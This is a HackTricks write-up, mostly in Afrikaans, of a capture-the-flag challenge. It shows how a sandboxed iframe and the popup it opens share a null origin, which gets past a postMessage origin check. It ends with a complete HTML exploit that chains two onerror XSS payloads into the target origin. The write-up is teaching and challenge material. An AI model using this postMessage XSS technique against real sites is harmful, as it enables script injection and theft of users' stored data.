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73 lines
3.5 KiB
Markdown
73 lines
3.5 KiB
Markdown
# Bypassing SOP with Iframes - 1
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{{#include ../../banners/hacktricks-training.md}}
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## Iframes in SOP-1
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In hierdie [**uitdaging**](https://github.com/terjanq/same-origin-xss) geskep deur [**NDevTK**](https://github.com/NDevTK) en [**Terjanq**](https://github.com/terjanq) moet jy 'n XSS in die kode benut.
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```javascript
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const identifier = "4a600cd2d4f9aa1cfb5aa786"
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onmessage = (e) => {
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const data = e.data
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if (e.origin !== window.origin && data.identifier !== identifier) return
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if (data.type === "render") {
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renderContainer.innerHTML = data.body
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}
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}
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```
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Die hoofprobleem is dat die [**hoofblad**](https://so-xss.terjanq.me) DomPurify gebruik om die `data.body` te stuur, so om jou eie html data na daardie kode te stuur, moet jy **bypass** `e.origin !== window.origin`.
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Kom ons kyk na die oplossing wat hulle voorstel.
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### SOP bypass 1 (e.origin === null)
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Wanneer `//example.org` in 'n **sandboxed iframe** ingebed is, sal die bladsy se **origin** **`null`** wees, d.w.s. **`window.origin === null`**. So net deur die iframe in te bed via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` kan ons die **`null` origin** **force**.
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As die bladsy **ingebed kan word**, kan jy daardie beskerming op daardie manier omseil (koekies moet dalk ook op `SameSite=None` gestel word).
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### SOP bypass 2 (window.origin === null)
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Die minder bekende feit is dat wanneer die **sandbox waarde `allow-popups` gestel is**, die **geopende popup** al die **sandboxed attributes** sal **erf** tensy `allow-popups-to-escape-sandbox` gestel is.\
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So, om 'n **popup** van 'n **null origin** te open, sal **`window.origin`** binne die popup ook **`null`** wees.
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### Uitdaging Oplossing
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Daarom, vir hierdie uitdaging, kan 'n mens 'n **iframe** **skep**, 'n **popup** na die bladsy met die kwesbare XSS kodehandler (`/iframe.php`) **open**, aangesien `window.origin === e.origin` omdat albei `null` is, is dit moontlik om 'n **payload te stuur wat die XSS sal benut**.
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Daardie **payload** sal die **identifier** kry en 'n **XSS** dit **terug na die boonste bladsy** stuur (die bladsy wat die popup geopen het), **wat** die **ligging** na die **kwesbare** `/iframe.php` sal **verander**. Omdat die identifier bekend is, maak dit nie saak dat die voorwaarde `window.origin === e.origin` nie nagekom word nie (onthou, die origin is die **popup** van die iframe wat **origin** **`null`** het) omdat `data.identifier === identifier`. Dan, die **XSS sal weer aktiveer**, hierdie keer in die korrekte origin.
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```html
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<body>
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<script>
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f = document.createElement("iframe")
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// Needed flags
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f.sandbox = "allow-scripts allow-popups allow-top-navigation"
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// Second communication with /iframe.php (this is the top page relocated)
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// This will execute the alert in the correct origin
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const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
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x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
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},1000);`.replaceAll("\n", " ")
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// Initial communication
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// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
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// Then, bypass window.origin === e.origin to steal the identifier and communicate
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// with the top with the second XSS payload
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f.srcdoc = `
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<h1>Click me!</h1>
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<script>
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onclick = e => {
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let w = open('https://so-xss.terjanq.me/iframe.php');
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onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
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setTimeout(_ => {
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w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
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}, 1000);
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};
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<\/script>
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`
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document.body.appendChild(f)
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</script>
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</body>
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```
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{{#include ../../banners/hacktricks-training.md}}
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